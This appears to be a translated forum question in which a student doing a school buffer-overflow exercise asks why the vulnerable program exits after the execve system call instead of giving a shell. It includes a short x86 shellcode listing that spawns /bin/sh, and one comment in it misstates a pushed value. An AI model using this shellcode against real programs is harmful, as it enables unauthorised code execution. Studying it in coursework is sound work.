在学校里,我被分配了一个执行缓冲区溢出的任务,这将执行一些 shellcode 并打开一个新的 shell。经过一番摆弄缓冲区溢出成功,当我在 GDB 中运行漏洞利用时,它说程序正在执行 /bin/dash,然后我正在利用的程序正常退出,让我没有 shell。
当运行该漏洞利用的测试程序时,它运行得很好,并给了我一个应有的外壳。当我尝试使用 shellcode 来实际利用另一个运行良好的程序时,我没有遇到任何错误,但它也不会产生新的 shell。我已经尝试修改 shellcode 以便它运行我自己编译的文件,尽管我只尝试了一些简单的打印主机名的文件,而且效果很好。如果我添加system("/bin/sh");到这样的文件中,它仍然不会像我希望的那样生成 shell。
当我使用 GDB 单步执行 shellcode 时,我看到我正在利用的易受攻击的程序在执行int 0x80指令后立即退出。我的问题有两个:为什么它会在这里退出,我能做些什么来防止它,从而产生一个我可以使用的新外壳?
这是我使用的shellcode:
"\x6a\x0b" // push byte +0xb
"\x58" // pop eax
"\x99" // cdq
"\x52" // push edx
\x68\x2f\x2f\x73\x68" // push dword 0x68732f2f (hs//)
"\x90" //nop
"\x90" //nop
"\x68\x2f\x62\x69\x6e" // push dword 0x6e69922f (nib/)
"\x89\xe3" // mov ebx, esp
"\x31\xc9" // xor ecx, ecx
"\xcd\x80" // int 0x80
"\x90" //nop
"\x90" //nop
"\x90" //nop
"\xeb\xfb"; //jmp -4
我使用的 shellcode 可以在这里找到,所以这归功于 ipv。